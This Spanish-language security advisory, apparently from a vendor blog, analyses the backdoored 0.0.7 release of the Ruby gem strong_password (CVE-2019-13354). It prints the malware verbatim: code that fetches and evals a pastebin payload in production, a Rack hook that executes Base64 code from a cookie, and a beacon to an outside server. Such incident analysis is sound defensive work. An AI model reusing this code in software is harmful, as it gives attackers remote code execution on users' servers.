Aumenta la preocupación por los ataques a la cadena de suministro tras detectar ejecución remota de código en la gema Ruby strong_password

El 5 de julio de 2019 se publicó el aviso de seguridad CVE-2019-13354 sobre una versión maliciosa de la gema Ruby strong_password que permite la ejecución remota de código en las aplicaciones que incluyen la dependencia vulnerable.

Ya agregamos la vulnerabilidad a nuestra base de datos y, si Snyk monitorea tu proyecto de Ruby, ya habrás recibido nuestras alertas habituales. De lo contrario, te recomendamos encarecidamente probar tu proyecto para comprobar si la versión maliciosa afecta tu aplicación.

Actualmente no hay una versión más reciente de strong_password, así que recomendamos volver de inmediato a una versión anterior a la vulnerable 0.0.7.

El sitio web Rubygems.org reportó un total de 537 descargas de la versión maliciosa 0.0.7.

Acerca de la vulnerabilidad

El propietario del blog withatwist.dev descubrió esta vulnerabilidad. Según contó en su blog, se enteró del incidente durante una revisión manual que realiza habitualmente al actualizar sus dependencias.

Al comparar los registros de cambios de las versiones publicadas con su código fuente, se dio cuenta de que la versión 0.0.7 se había publicado en Rubygems.org seis meses después del último lanzamiento, sin que se hubieran publicado cambios en el código fuente del repositorio de GitHub.

Al revisar los commits de la versión 0.0.7 de strong_password, el siguiente fragmento de código llamó su atención:

def _!;
  begin;
    yield;
  rescue Exception;
  end;
end

_!{
  Thread.new {
    loop {
      _!{
        sleep rand * 3333;
        eval(
          Net::HTTP.get(
            URI('https://pastebin.com/raw/xa456PFt')
          )
        )
      }
    }
  } if Rails.env[0] == "p"
}

Para completar la historia, también debemos revisar el payload de pastebin.com que utiliza esta versión maliciosa:

_! {
unless defined?(Z1)
  Rack::Sendfile.prepend Module.new{define_method(:call){|e|
  _!{eval(Base64.urlsafe_decode64(e['HTTP_COOKIE'].match(/___id=(.+);/)[1]))}
  super(e)}}
  Z1 = "(:"
end
}

_! {
  Faraday.get("http://smiley.zzz.com.ua", { "x" => ENV["URL_HOST"].to_s })

Ahora que reunimos ambos fragmentos, podemos contar la historia completa:

1. El atacante logró comprometer la cuenta del mantenedor original de strong_password para obtener permisos de publicación.

2. Se publicó en Rubygems.org la versión maliciosa 0.0.7, que incluye el primer payload.

3. Esta versión maliciosa solo se activa cuando detecta que la aplicación se ejecuta en un entorno de producción y, después de un tiempo, realiza una solicitud a pastebin.com para obtener el payload adicional y ejecutarlo.

4. El segundo payload de pastebin.com modifica el método Sendfile para obtener el valor de una HTTP_COOKIE llamada ___id y ejecutarla, lo que permite que cualquier atacante remoto ejecute comandos.

5. Por último, el código malicioso también envía una señal a un servidor de control para informar la URL de la aplicación en ejecución.

El propietario del blog informó rápidamente del problema al mantenedor, quien descubrió que había perdido el acceso necesario para retirar la publicación o solucionar el problema. Luego, alertó a la comunidad de avisos de Rubysec para que tomara medidas adicionales. Esto dio como resultado que se retirara la versión maliciosa 0.0.7 y se le asignara un CVE.

Vulnerabilidades de código malicioso y ataques a la cadena de suministro

Esta historia se parece al caso de otro paquete de Ruby gems que ocurrió apenas tres meses antes.

En el caso de bootstrap-sass, un atacante también logró comprometer la cuenta de un mantenedor en Rubygems.org para publicar una versión maliciosa que incorpora una puerta trasera para la ejecución remota de código.

El repositorio Rubygems.org no es el único afectado por ataques a la cadena de suministro. Hace apenas dos semanas compartimos la historia de un paquete malicioso encontrado en npm que ataca billeteras de criptomonedas. Por suerte, en ambos casos, la comunidad y los equipos de seguridad de npm y rubygems pudieron responder con suficiente rapidez.